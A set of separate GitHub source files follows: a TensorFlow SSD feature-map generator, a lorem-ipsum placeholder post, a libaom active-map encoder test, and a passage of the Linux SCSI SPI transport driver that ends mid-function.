# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Functions to generate a list of feature maps based on image features. Provides several feature map generators that can be used to build object detection feature extractors. Object detection feature extractors usually are built by stacking two components - A base feature extractor such as Inception V3 and a feature map generator. Feature map generators build on the base feature extractors and produce a list of final feature maps. """ import collections import tensorflow as tf slim = tf.contrib.slim def get_depth_fn(depth_multiplier, min_depth): """Builds a callable to compute depth (output channels) of conv filters. Args: depth_multiplier: a multiplier for the nominal depth. min_depth: a lower bound on the depth of filters. Returns: A callable that takes in a nominal depth and returns the depth to use. """ def multiply_depth(depth): new_depth = int(depth * depth_multiplier) return max(new_depth, min_depth) return multiply_depth def multi_resolution_feature_maps(feature_map_layout, depth_multiplier, min_depth, insert_1x1_conv, image_features): """Generates multi resolution feature maps from input image features. Generates multi-scale feature maps for detection as in the SSD papers by Liu et al: https://arxiv.org/pdf/1512.02325v2.pdf, See Sec 2.1. More specifically, it performs the following two tasks: 1) If a layer name is provided in the configuration, returns that layer as a feature map. 2) If a layer name is left as an empty string, constructs a new feature map based on the spatial shape and depth configuration. Note that the current implementation only supports generating new layers using convolution of stride 2 resulting in a spatial resolution reduction by a factor of 2. By default convolution kernel size is set to 3, and it can be customized by caller. An example of the configuration for Inception V3: { 'from_layer': ['Mixed_5d', 'Mixed_6e', 'Mixed_7c', '', '', ''], 'layer_depth': [-1, -1, -1, 512, 256, 128] } Args: feature_map_layout: Dictionary of specifications for the feature map layouts in the following format (Inception V2/V3 respectively): { 'from_layer': ['Mixed_3c', 'Mixed_4c', 'Mixed_5c', '', '', ''], 'layer_depth': [-1, -1, -1, 512, 256, 128] } or { 'from_layer': ['Mixed_5d', 'Mixed_6e', 'Mixed_7c', '', '', '', ''], 'layer_depth': [-1, -1, -1, 512, 256, 128] } If 'from_layer' is specified, the specified feature map is directly used as a box predictor layer, and the layer_depth is directly infered from the feature map (instead of using the provided 'layer_depth' parameter). In this case, our convention is to set 'layer_depth' to -1 for clarity. Otherwise, if 'from_layer' is an empty string, then the box predictor layer will be built from the previous layer using convolution operations. Note that the current implementation only supports generating new layers using convolutions of stride 2 (resulting in a spatial resolution reduction by a factor of 2), and will be extended to a more flexible design. Convolution kernel size is set to 3 by default, and can be customized by 'conv_kernel_size' parameter (similarily, 'conv_kernel_size' should be set to -1 if 'from_layer' is specified). The created convolution operation will be a normal 2D convolution by default, and a depthwise convolution followed by 1x1 convolution if 'use_depthwise' is set to True. depth_multiplier: Depth multiplier for convolutional layers. min_depth: Minimum depth for convolutional layers. insert_1x1_conv: A boolean indicating whether an additional 1x1 convolution should be inserted before shrinking the feature map. image_features: A dictionary of handles to activation tensors from the base feature extractor. Returns: feature_maps: an OrderedDict mapping keys (feature map names) to tensors where each tensor has shape [batch, height_i, width_i, depth_i]. Raises: ValueError: if the number entries in 'from_layer' and 'layer_depth' do not match. ValueError: if the generated layer does not have the same resolution as specified. """ depth_fn = get_depth_fn(depth_multiplier, min_depth) feature_map_keys = [] feature_maps = [] base_from_layer = '' use_depthwise = False if 'use_depthwise' in feature_map_layout: use_depthwise = feature_map_layout['use_depthwise'] for index, from_layer in enumerate(feature_map_layout['from_layer']): layer_depth = feature_map_layout['layer_depth'][index] conv_kernel_size = 3 if 'conv_kernel_size' in feature_map_layout: conv_kernel_size = feature_map_layout['conv_kernel_size'][index] if from_layer: feature_map = image_features[from_layer] base_from_layer = from_layer feature_map_keys.append(from_layer) else: pre_layer = feature_maps[-1] intermediate_layer = pre_layer if insert_1x1_conv: layer_name = '{}_1_Conv2d_{}_1x1_{}'.format( base_from_layer, index, depth_fn(layer_depth / 2)) intermediate_layer = slim.conv2d( pre_layer, depth_fn(layer_depth / 2), [1, 1], padding='SAME', stride=1, scope=layer_name) stride = 2 layer_name = '{}_2_Conv2d_{}_{}x{}_s2_{}'.format( base_from_layer, index, conv_kernel_size, conv_kernel_size, depth_fn(layer_depth)) if use_depthwise: feature_map = slim.separable_conv2d( intermediate_layer, None, [conv_kernel_size, conv_kernel_size], depth_multiplier=1, padding='SAME', stride=stride, scope=layer_name + '_depthwise') feature_map = slim.conv2d( feature_map, depth_fn(layer_depth), [1, 1], padding='SAME', stride=1, scope=layer_name) else: feature_map = slim.conv2d( intermediate_layer, depth_fn(layer_depth), [conv_kernel_size, conv_kernel_size], padding='SAME', stride=stride, scope=layer_name) feature_map_keys.append(layer_name) feature_maps.append(feature_map) return collections.OrderedDict( [(x, y) for (x, y) in zip(feature_map_keys, feature_maps)])
{ "pile_set_name": "Github" }
Title:Hello World2 Cate:Anything Author:TonyHe Tags:test3,test4 Img: Lorem aliquip deserunt Lorem deserunt pariatur commodo amet anim. Quis reprehenderit pariatur minim laboris. Consequat consequat anim esse aliquip ad qui duis ullamco tempor ut cupidatat veniam in. Consectetur sint cupidatat aute elit adipisicing proident Lorem.
{ "pile_set_name": "Github" }
/* * Copyright (c) 2016, Alliance for Open Media. All rights reserved * * This source code is subject to the terms of the BSD 2 Clause License and * the Alliance for Open Media Patent License 1.0. If the BSD 2 Clause License * was not distributed with this source code in the LICENSE file, you can * obtain it at www.aomedia.org/license/software. If the Alliance for Open * Media Patent License 1.0 was not distributed with this source code in the * PATENTS file, you can obtain it at www.aomedia.org/license/patent. */ #include <climits> #include <vector> #include "third_party/googletest/src/googletest/include/gtest/gtest.h" #include "test/codec_factory.h" #include "test/encode_test_driver.h" #include "test/i420_video_source.h" #include "test/util.h" namespace { class ActiveMapTest : public ::libaom_test::CodecTestWith2Params<libaom_test::TestMode, int>, public ::libaom_test::EncoderTest { protected: static const int kWidth = 208; static const int kHeight = 144; ActiveMapTest() : EncoderTest(GET_PARAM(0)) {} virtual ~ActiveMapTest() {} virtual void SetUp() { InitializeConfig(); SetMode(GET_PARAM(1)); cpu_used_ = GET_PARAM(2); } virtual void PreEncodeFrameHook(::libaom_test::VideoSource *video, ::libaom_test::Encoder *encoder) { if (video->frame() == 0) { encoder->Control(AOME_SET_CPUUSED, cpu_used_); } else if (video->frame() == 3) { aom_active_map_t map = aom_active_map_t(); /* clang-format off */ uint8_t active_map[9 * 13] = { 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, }; /* clang-format on */ map.cols = (kWidth + 15) / 16; map.rows = (kHeight + 15) / 16; ASSERT_EQ(map.cols, 13u); ASSERT_EQ(map.rows, 9u); map.active_map = active_map; encoder->Control(AOME_SET_ACTIVEMAP, &map); } else if (video->frame() == 15) { aom_active_map_t map = aom_active_map_t(); map.cols = (kWidth + 15) / 16; map.rows = (kHeight + 15) / 16; map.active_map = NULL; encoder->Control(AOME_SET_ACTIVEMAP, &map); } } void DoTest() { // Validate that this non multiple of 64 wide clip encodes cfg_.g_lag_in_frames = 0; cfg_.rc_target_bitrate = 400; cfg_.rc_resize_mode = 0; cfg_.g_pass = AOM_RC_ONE_PASS; cfg_.rc_end_usage = AOM_CBR; cfg_.kf_max_dist = 90000; ::libaom_test::I420VideoSource video("hantro_odd.yuv", kWidth, kHeight, 30, 1, 0, 20); ASSERT_NO_FATAL_FAILURE(RunLoop(&video)); } int cpu_used_; }; TEST_P(ActiveMapTest, Test) { DoTest(); } class ActiveMapTestLarge : public ActiveMapTest {}; TEST_P(ActiveMapTestLarge, Test) { DoTest(); } AV1_INSTANTIATE_TEST_CASE(ActiveMapTestLarge, ::testing::Values(::libaom_test::kRealTime), ::testing::Range(0, 5)); AV1_INSTANTIATE_TEST_CASE(ActiveMapTest, ::testing::Values(::libaom_test::kRealTime), ::testing::Range(5, 9)); } // namespace
{ "pile_set_name": "Github" }
/* * Parallel SCSI (SPI) transport specific attributes exported to sysfs. * * Copyright (c) 2003 Silicon Graphics, Inc. All rights reserved. * Copyright (c) 2004, 2005 James Bottomley <[email protected]> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include <linux/ctype.h> #include <linux/init.h> #include <linux/module.h> #include <linux/workqueue.h> #include <linux/blkdev.h> #include <linux/mutex.h> #include <linux/sysfs.h> #include <linux/slab.h> #include <linux/suspend.h> #include <scsi/scsi.h> #include "scsi_priv.h" #include <scsi/scsi_device.h> #include <scsi/scsi_host.h> #include <scsi/scsi_cmnd.h> #include <scsi/scsi_eh.h> #include <scsi/scsi_tcq.h> #include <scsi/scsi_transport.h> #include <scsi/scsi_transport_spi.h> #define SPI_NUM_ATTRS 14 /* increase this if you add attributes */ #define SPI_OTHER_ATTRS 1 /* Increase this if you add "always * on" attributes */ #define SPI_HOST_ATTRS 1 #define SPI_MAX_ECHO_BUFFER_SIZE 4096 #define DV_LOOPS 3 #define DV_TIMEOUT (10*HZ) #define DV_RETRIES 3 /* should only need at most * two cc/ua clears */ /* Our blacklist flags */ enum { SPI_BLIST_NOIUS = (__force blist_flags_t)0x1, }; /* blacklist table, modelled on scsi_devinfo.c */ static struct { char *vendor; char *model; blist_flags_t flags; } spi_static_device_list[] __initdata = { {"HP", "Ultrium 3-SCSI", SPI_BLIST_NOIUS }, {"IBM", "ULTRIUM-TD3", SPI_BLIST_NOIUS }, {NULL, NULL, 0} }; /* Private data accessors (keep these out of the header file) */ #define spi_dv_in_progress(x) (((struct spi_transport_attrs *)&(x)->starget_data)->dv_in_progress) #define spi_dv_mutex(x) (((struct spi_transport_attrs *)&(x)->starget_data)->dv_mutex) struct spi_internal { struct scsi_transport_template t; struct spi_function_template *f; }; #define to_spi_internal(tmpl) container_of(tmpl, struct spi_internal, t) static const int ppr_to_ps[] = { /* The PPR values 0-6 are reserved, fill them in when * the committee defines them */ -1, /* 0x00 */ -1, /* 0x01 */ -1, /* 0x02 */ -1, /* 0x03 */ -1, /* 0x04 */ -1, /* 0x05 */ -1, /* 0x06 */ 3125, /* 0x07 */ 6250, /* 0x08 */ 12500, /* 0x09 */ 25000, /* 0x0a */ 30300, /* 0x0b */ 50000, /* 0x0c */ }; /* The PPR values at which you calculate the period in ns by multiplying * by 4 */ #define SPI_STATIC_PPR 0x0c static int sprint_frac(char *dest, int value, int denom) { int frac = value % denom; int result = sprintf(dest, "%d", value / denom); if (frac == 0) return result; dest[result++] = '.'; do { denom /= 10; sprintf(dest + result, "%d", frac / denom); result++; frac %= denom; } while (frac); dest[result++] = '\0'; return result; } static int spi_execute(struct scsi_device *sdev, const void *cmd, enum dma_data_direction dir, void *buffer, unsigned bufflen, struct scsi_sense_hdr *sshdr) { int i, result; unsigned char sense[SCSI_SENSE_BUFFERSIZE]; struct scsi_sense_hdr sshdr_tmp; if (!sshdr) sshdr = &sshdr_tmp; for(i = 0; i < DV_RETRIES; i++) { result = scsi_execute(sdev, cmd, dir, buffer, bufflen, sense, sshdr, DV_TIMEOUT, /* retries */ 1, REQ_FAILFAST_DEV | REQ_FAILFAST_TRANSPORT | REQ_FAILFAST_DRIVER, 0, NULL); if (!(driver_byte(result) & DRIVER_SENSE) || sshdr->sense_key != UNIT_ATTENTION) break; } return result; } static struct { enum spi_signal_type value; char *name; } signal_types[] = { { SPI_SIGNAL_UNKNOWN, "unknown" }, { SPI_SIGNAL_SE, "SE" }, { SPI_SIGNAL_LVD, "LVD" }, { SPI_SIGNAL_HVD, "HVD" }, }; static inline const char *spi_signal_to_string(enum spi_signal_type type) { int i; for (i = 0; i < ARRAY_SIZE(signal_types); i++) { if (type == signal_types[i].value) return signal_types[i].name; } return NULL; } static inline enum spi_signal_type spi_signal_to_value(const char *name) { int i, len; for (i = 0; i < ARRAY_SIZE(signal_types); i++) { len = strlen(signal_types[i].name); if (strncmp(name, signal_types[i].name, len) == 0 && (name[len] == '\n' || name[len] == '\0')) return signal_types[i].value; } return SPI_SIGNAL_UNKNOWN; } static int spi_host_setup(struct transport_container *tc, struct device *dev, struct device *cdev) { struct Scsi_Host *shost = dev_to_shost(dev); spi_signalling(shost) = SPI_SIGNAL_UNKNOWN; return 0; } static int spi_host_configure(struct transport_container *tc, struct device *dev, struct device *cdev); static DECLARE_TRANSPORT_CLASS(spi_host_class, "spi_host", spi_host_setup, NULL, spi_host_configure); static int spi_host_match(struct attribute_container *cont, struct device *dev) { struct Scsi_Host *shost; if (!scsi_is_host_device(dev)) return 0; shost = dev_to_shost(dev); if (!shost->transportt || shost->transportt->host_attrs.ac.class != &spi_host_class.class) return 0; return &shost->transportt->host_attrs.ac == cont; } static int spi_target_configure(struct transport_container *tc, struct device *dev, struct device *cdev); static int spi_device_configure(struct transport_container *tc, struct device *dev, struct device *cdev) { struct scsi_device *sdev = to_scsi_device(dev); struct scsi_target *starget = sdev->sdev_target; blist_flags_t bflags; bflags = scsi_get_device_flags_keyed(sdev, &sdev->inquiry[8], &sdev->inquiry[16], SCSI_DEVINFO_SPI); /* Populate the target capability fields with the values * gleaned from the device inquiry */ spi_support_sync(starget) = scsi_device_sync(sdev); spi_support_wide(starget) = scsi_device_wide(sdev); spi_support_dt(starget) = scsi_device_dt(sdev); spi_support_dt_only(starget) = scsi_device_dt_only(sdev); spi_support_ius(starget) = scsi_device_ius(sdev); if (bflags & SPI_BLIST_NOIUS) { dev_info(dev, "Information Units disabled by blacklist\n"); spi_support_ius(starget) = 0; } spi_support_qas(starget) = scsi_device_qas(sdev); return 0; } static int spi_setup_transport_attrs(struct transport_container *tc, struct device *dev, struct device *cdev) { struct scsi_target *starget = to_scsi_target(dev); spi_period(starget) = -1; /* illegal value */ spi_min_period(starget) = 0; spi_offset(starget) = 0; /* async */ spi_max_offset(starget) = 255; spi_width(starget) = 0; /* narrow */ spi_max_width(starget) = 1; spi_iu(starget) = 0; /* no IU */ spi_max_iu(starget) = 1; spi_dt(starget) = 0; /* ST */ spi_qas(starget) = 0; spi_max_qas(starget) = 1; spi_wr_flow(starget) = 0; spi_rd_strm(starget) = 0; spi_rti(starget) = 0; spi_pcomp_en(starget) = 0; spi_hold_mcs(starget) = 0; spi_dv_pending(starget) = 0; spi_dv_in_progress(starget) = 0; spi_initial_dv(starget) = 0; mutex_init(&spi_dv_mutex(starget)); return 0; } #define spi_transport_show_simple(field, format_string) \ \ static ssize_t \ show_spi_transport_##field(struct device *dev, \ struct device_attribute *attr, char *buf) \ { \ struct scsi_target *starget = transport_class_to_starget(dev); \ struct spi_transport_attrs *tp; \ \ tp = (struct spi_transport_attrs *)&starget->starget_data; \ return snprintf(buf, 20, format_string, tp->field); \ } #define spi_transport_store_simple(field, format_string) \ \ static ssize_t \ store_spi_transport_##field(struct device *dev, \ struct device_attribute *attr, \ const char *buf, size_t count) \ { \ int val; \ struct scsi_target *starget = transport_class_to_starget(dev); \ struct spi_transport_attrs *tp; \ \ tp = (struct spi_transport_attrs *)&starget->starget_data; \ val = simple_strtoul(buf, NULL, 0); \ tp->field = val; \ return count; \ } #define spi_transport_show_function(field, format_string) \ \ static ssize_t \ show_spi_transport_##field(struct device *dev, \ struct device_attribute *attr, char *buf) \ { \ struct scsi_target *starget = transport_class_to_starget(dev); \ struct Scsi_Host *shost = dev_to_shost(starget->dev.parent); \ struct spi_transport_attrs *tp; \ struct spi_internal *i = to_spi_internal(shost->transportt); \ tp = (struct spi_transport_attrs *)&starget->starget_data; \ if (i->f->get_##field) \ i->f->get_##field(starget); \ return snprintf(buf, 20, format_string, tp->field); \ } #define spi_transport_store_function(field, format_string) \ static ssize_t \ store_spi_transport_##field(struct device *dev, \ struct device_attribute *attr, \ const char *buf, size_t count) \ { \ int val; \ struct scsi_target *starget = transport_class_to_starget(dev); \ struct Scsi_Host *shost = dev_to_shost(starget->dev.parent); \ struct spi_internal *i = to_spi_internal(shost->transportt); \ \ if (!i->f->set_##field) \ return -EINVAL; \ val = simple_strtoul(buf, NULL, 0); \ i->f->set_##field(starget, val); \ return count; \ } #define spi_transport_store_max(field, format_string) \ static ssize_t \ store_spi_transport_##field(struct device *dev, \ struct device_attribute *attr, \ const char *buf, size_t count) \ { \ int val; \ struct scsi_target *starget = transport_class_to_starget(dev); \ struct Scsi_Host *shost = dev_to_shost(starget->dev.parent); \ struct spi_internal *i = to_spi_internal(shost->transportt); \ struct spi_transport_attrs *tp \ = (struct spi_transport_attrs *)&starget->starget_data; \ \ if (i->f->set_##field) \ return -EINVAL; \ val = simple_strtoul(buf, NULL, 0); \ if (val > tp->max_##field) \ val = tp->max_##field; \ i->f->set_##field(starget, val); \ return count; \ } #define spi_transport_rd_attr(field, format_string) \ spi_transport_show_function(field, format_string) \ spi_transport_store_function(field, format_string) \ static DEVICE_ATTR(field, S_IRUGO, \ show_spi_transport_##field, \ store_spi_transport_##field); #define spi_transport_simple_attr(field, format_string) \ spi_transport_show_simple(field, format_string) \ spi_transport_store_simple(field, format_string) \ static DEVICE_ATTR(field, S_IRUGO, \ show_spi_transport_##field, \ store_spi_transport_##field); #define spi_transport_max_attr(field, format_string) \ spi_transport_show_function(field, format_string) \ spi_transport_store_max(field, format_string) \ spi_transport_simple_attr(max_##field, format_string) \ static DEVICE_ATTR(field, S_IRUGO, \ show_spi_transport_##field, \ store_spi_transport_##field); /* The Parallel SCSI Tranport Attributes: */ spi_transport_max_attr(offset, "%d\n"); spi_transport_max_attr(width, "%d\n"); spi_transport_max_attr(iu, "%d\n"); spi_transport_rd_attr(dt, "%d\n"); spi_transport_max_attr(qas, "%d\n"); spi_transport_rd_attr(wr_flow, "%d\n"); spi_transport_rd_attr(rd_strm, "%d\n"); spi_transport_rd_attr(rti, "%d\n"); spi_transport_rd_attr(pcomp_en, "%d\n"); spi_transport_rd_attr(hold_mcs, "%d\n"); /* we only care about the first child device that's a real SCSI device * so we return 1 to terminate the iteration when we find it */ static int child_iter(struct device *dev, void *data) { if (!scsi_is_sdev_device(dev)) return 0; spi_dv_device(to_scsi_device(dev)); return 1; } static ssize_t store_spi_revalidate(struct device *dev, struct device_attribute *attr, const char *buf, size_t count) { struct scsi_target *starget = transport_class_to_starget(dev); device_for_each_child(&starget->dev, NULL, child_iter); return count; } static DEVICE_ATTR(revalidate, S_IWUSR, NULL, store_spi_revalidate); /* Translate the period into ns according to the current spec * for SDTR/PPR messages */ static int period_to_str(char *buf, int period) { int len, picosec; if (period < 0 || period > 0xff) { picosec = -1; } else if (period <= SPI_STATIC_PPR) { picosec = ppr_to_ps[period]; } else { picosec = period * 4000; } if (picosec == -1) { len = sprintf(buf, "reserved"); } else { len = sprint_frac(buf, picosec, 1000); } return len; } static ssize_t show_spi_transport_period_helper(char *buf, int period) { int len = period_to_str(buf, period); buf[len++] = '\n'; buf[len] = '\0'; return len; } static ssize_t store_spi_transport_period_helper(struct device *dev, const char *buf, size_t count, int *periodp) { int j, picosec, period = -1; char *endp; picosec = simple_strtoul(buf, &endp, 10) * 1000; if (*endp == '.') { int mult = 100; do { endp++; if (!isdigit(*endp)) break; picosec += (*endp - '0') * mult; mult /= 10; } while (mult > 0); } for (j = 0; j <= SPI_STATIC_PPR; j++) { if (ppr_to_ps[j] < picosec) continue; period = j; break; } if (period == -1) period = picosec / 4000; if (period > 0xff) period = 0xff; *periodp = period; return count; } static ssize_t show_spi_transport_period(struct device *dev, struct device_attribute *attr, char *buf) { struct scsi_target *starget = transport_class_to_starget(dev); struct Scsi_Host *shost = dev_to_shost(starget->dev.parent); struct spi_internal *i = to_spi_internal(shost->transportt); struct spi_transport_attrs *tp = (struct spi_transport_attrs *)&starget->starget_data; if (i->f->get_period) i->f->get_period(starget); return show_spi_transport_period_helper(buf, tp->period); } static ssize_t store_spi_transport_period(struct device *cdev, struct device_attribute *attr, const char *buf, size_t count) { struct scsi_target *starget = transport_class_to_starget(cdev); struct Scsi_Host *shost = dev_to_shost(starget->dev.parent); struct spi_internal *i = to_spi_internal(shost->transportt); struct spi_transport_attrs *tp = (struct spi_transport_attrs *)&starget->starget_data; int period, retval; if (!i->f->set_period) return -EINVAL; retval = store_spi_transport_period_helper(cdev, buf, count, &period); if (period < tp->min_period) period = tp->min_period; i->f->set_period(starget, period); return retval; } static DEVICE_ATTR(period, S_IRUGO, show_spi_transport_period, store_spi_transport_period); static ssize_t show_spi_transport_min_period(struct device *cdev, struct device_attribute *attr, char *buf) { struct scsi_target *starget = transport_class_to_starget(cdev); struct Scsi_Host *shost = dev_to_shost(starget->dev.parent); struct spi_internal *i = to_spi_internal(shost->transportt); struct spi_transport_attrs *tp = (struct spi_transport_attrs *)&starget->starget_data; if (!i->f->set_period) return -EINVAL; return show_spi_transport_period_helper(buf, tp->min_period); } static ssize_t store_spi_transport_min_period(struct device *cdev, struct device_attribute *attr, const char *buf, size_t count) { struct scsi_target *starget = transport_class_to_starget(cdev); struct spi_transport_attrs *tp = (struct spi_transport_attrs *)&starget->starget_data; return store_spi_transport_period_helper(cdev, buf, count, &tp->min_period); } static DEVICE_ATTR(min_period, S_IRUGO, show_spi_transport_min_period, store_spi_transport_min_period); static ssize_t show_spi_host_signalling(struct device *cdev, struct device_attribute *attr, char *buf) { struct Scsi_Host *shost = transport_class_to_shost(cdev); struct spi_internal *i = to_spi_internal(shost->transportt); if (i->f->get_signalling) i->f->get_signalling(shost); return sprintf(buf, "%s\n", spi_signal_to_string(spi_signalling(shost))); } static ssize_t store_spi_host_signalling(struct device *dev, struct device_attribute *attr, const char *buf, size_t count) { struct Scsi_Host *shost = transport_class_to_shost(dev); struct spi_internal *i = to_spi_internal(shost->transportt); enum spi_signal_type type = spi_signal_to_value(buf); if (!i->f->set_signalling) return -EINVAL; if (type != SPI_SIGNAL_UNKNOWN) i->f->set_signalling(shost, type); return count; } static DEVICE_ATTR(signalling, S_IRUGO, show_spi_host_signalling, store_spi_host_signalling); static ssize_t show_spi_host_width(struct device *cdev, struct device_attribute *attr, char *buf) { struct Scsi_Host *shost = transport_class_to_shost(cdev); return sprintf(buf, "%s\n", shost->max_id == 16 ? "wide" : "narrow"); } static DEVICE_ATTR(host_width, S_IRUGO, show_spi_host_width, NULL); static ssize_t show_spi_host_hba_id(struct device *cdev, struct device_attribute *attr, char *buf) { struct Scsi_Host *shost = transport_class_to_shost(cdev); return sprintf(buf, "%d\n", shost->this_id); } static DEVICE_ATTR(hba_id, S_IRUGO, show_spi_host_hba_id, NULL); #define DV_SET(x, y) \ if(i->f->set_##x) \ i->f->set_##x(sdev->sdev_target, y) enum spi_compare_returns { SPI_COMPARE_SUCCESS, SPI_COMPARE_FAILURE, SPI_COMPARE_SKIP_TEST, }; /* This is for read/write Domain Validation: If the device supports * an echo buffer, we do read/write tests to it */ static enum spi_compare_returns spi_dv_device_echo_buffer(struct scsi_device *sdev, u8 *buffer, u8 *ptr, const int retries) { int len = ptr - buffer; int j, k, r, result; unsigned int pattern = 0x0000ffff; struct scsi_sense_hdr sshdr; const char spi_write_buffer[] = { WRITE_BUFFER, 0x0a, 0, 0, 0, 0, 0, len >> 8, len & 0xff, 0 }; const char spi_read_buffer[] = { READ_BUFFER, 0x0a, 0, 0, 0, 0, 0, len >> 8, len & 0xff, 0 }; /* set up the pattern buffer. Doesn't matter if we spill * slightly beyond since that's where the read buffer is */ for (j = 0; j < len; ) { /* fill the buffer with counting (test a) */ for ( ; j < min(len, 32); j++) buffer[j] = j; k = j; /* fill the buffer with alternating words of 0x0 and * 0xffff (test b) */ for ( ; j < min(len, k + 32); j += 2) { u16 *word = (u16 *)&buffer[j]; *word = (j & 0x02) ? 0x0000 : 0xffff; } k = j; /* fill with crosstalk (alternating 0x5555 0xaaa) * (test c) */ for ( ; j < min(len, k + 32); j += 2) { u16 *word = (u16 *)&buffer[j]; *word = (j & 0x02) ? 0x5555 : 0xaaaa; } k = j; /* fill with shifting bits (test d) */ for ( ; j < min(len, k + 32); j += 4) { u32 *word = (unsigned int *)&buffer[j]; u32 roll = (pattern & 0x80000000) ? 1 : 0; *word = pattern; pattern = (pattern << 1) | roll; } /* don't bother with random data (test e) */ } for (r = 0; r < retries; r++) { result = spi_execute(sdev, spi_write_buffer, DMA_TO_DEVICE, buffer, len, &sshdr); if(result || !scsi_device_online(sdev)) { scsi_device_set_state(sdev, SDEV_QUIESCE); if (scsi_sense_valid(&sshdr) && sshdr.sense_key == ILLEGAL_REQUEST /* INVALID FIELD IN CDB */ && sshdr.asc == 0x24 && sshdr.ascq == 0x00) /* This would mean that the drive lied * to us about supporting an echo * buffer (unfortunately some Western * Digital drives do precisely this) */ return SPI_COMPARE_SKIP_TEST; sdev_printk(KERN_ERR, sdev, "Write Buffer failure %x\n", result); return SPI_COMPARE_FAILURE; } memset(ptr, 0, len); spi_execute(sdev, spi_read_buffer, DMA_FROM_DEVICE, ptr, len, NULL); scsi_device_set_state(sdev, SDEV_QUIESCE); if (memcmp(buffer, ptr, len) != 0) return SPI_COMPARE_FAILURE; } return SPI_COMPARE_SUCCESS; } /* This is for the simplest form of Domain Validation: a read test * on the inquiry data from the device */ static enum spi_compare_returns spi_dv_device_compare_inquiry(struct scsi_device *sdev, u8 *buffer, u8 *ptr, const int retries) { int r, result; const int len = sdev->inquiry_len; const char spi_inquiry[] = { INQUIRY, 0, 0, 0, len, 0 }; for (r = 0; r < retries; r++) { memset(ptr, 0, len); result = spi_execute(sdev, spi_inquiry, DMA_FROM_DEVICE, ptr, len, NULL); if(result || !scsi_device_online(sdev)) { scsi_device_set_state(sdev, SDEV_QUIESCE); return SPI_COMPARE_FAILURE; } /* If we don't have the inquiry data already, the * first read gets it */ if (ptr == buffer) { ptr += len; --r; continue; } if (memcmp(buffer, ptr, len) != 0) /* failure */ return SPI_COMPARE_FAILURE; } return SPI_COMPARE_SUCCESS; } static enum spi_compare_returns spi_dv_retrain(struct scsi_device *sdev, u8 *buffer, u8 *ptr, enum spi_compare_returns (*compare_fn)(struct scsi_device *, u8 *, u8 *, int)) { struct spi_internal *i = to_spi_internal(sdev->host->transportt); struct scsi_target *starget = sdev->sdev_target; int period = 0, prevperiod = 0; enum spi_compare_returns retval; for (;;) { int newperiod; retval = compare_fn(sdev, buffer, ptr, DV_LOOPS); if (retval == SPI_COMPARE_SUCCESS || retval == SPI_COMPARE_SKIP_TEST) break; /* OK, retrain, fallback */ if (i->f->get_iu) i->f->get_iu(starget); if (i->f->get_qas) i->f->get_qas(starget); if (i->f->get_period) i->f->get_period(sdev->sdev_target); /* Here's the fallback sequence; first try turning off * IU, then QAS (if we can control them), then finally * fall down the periods */ if (i->f->set_iu && spi_iu(starget)) { starget_printk(KERN_ERR, starget, "Domain Validation Disabling Information Units\n"); DV_SET(iu, 0); } else if (i->f->set_qas && spi_qas(starget)) { starget_printk(KERN_ERR, starget, "Domain Validation Disabling Quick Arbitration and Selection\n"); DV_SET(qas, 0); } else { newperiod = spi_period(starget); period = newperiod > period ? newperiod : period; if (period < 0x0d) period++; else period += period >> 1; if (unlikely(period > 0xff || period == prevperiod)) { /* Total failure; set to async and return */ starget_printk(KERN_ERR, starget, "Domain Validation Failure, dropping back to Asynchronous\n"); DV_SET(offset, 0); return SPI_COMPARE_FAILURE; } starget_printk(KERN_ERR, starget, "Domain Validation detected failure, dropping back\n"); DV_SET(period, period); prevperiod = period; } } return retval; } static int spi_dv_device_get_echo_buffer(struct scsi_device *sdev, u8 *buffer) { int l, result; /* first off do a test unit ready. This can error out * because of reservations or some other reason. If it * fails, the device won't let us write to the echo buffer * so just return failure */ static const char spi_test_unit_ready[] = { TEST_UNIT_READY, 0, 0, 0, 0, 0 }; static const char spi_read_buffer_descriptor[] = { READ_BUFFER, 0x0b, 0, 0, 0, 0, 0, 0, 4, 0 }; /* We send a set of three TURs to clear any outstanding * unit attention conditions if they exist (Otherwise the * buffer tests won't be happy). If the TUR still fails * (reservation conflict, device not ready, etc) just * skip the write tests */ for (l = 0; ; l++) { result = spi_execute(sdev, spi_test_unit_ready, DMA_NONE, NULL, 0, NULL); if(result) { if(l >= 3) return 0; } else { /* TUR succeeded */ break; } } result = spi_execute(sdev, spi_read_buffer_descriptor, DMA_FROM_DEVICE, buffer, 4, NULL); if (result) /* Device has no echo buffer */ return 0; return buffer[3] + ((buffer[2] & 0x1f) << 8); } static void spi_dv_device_internal(struct scsi_device *sdev, u8 *buffer) { struct spi_internal *i = to_spi_internal(sdev->host->transportt); struct scsi_target *starget = sdev->sdev_target; struct Scsi_Host *shost = sdev->host; int len = sdev->inquiry_len; int min_period = spi_min_period(starget); int max_width = spi_max_width(starget); /* first set us up for narrow async */ DV_SET(offset, 0); DV_SET(width, 0); if (spi_dv_device_compare_inquiry(sdev, buffer, buffer, DV_LOOPS) != SPI_COMPARE_SUCCESS) { starget_printk(KERN_ERR, starget, "Domain Validation Initial Inquiry Failed\n"); 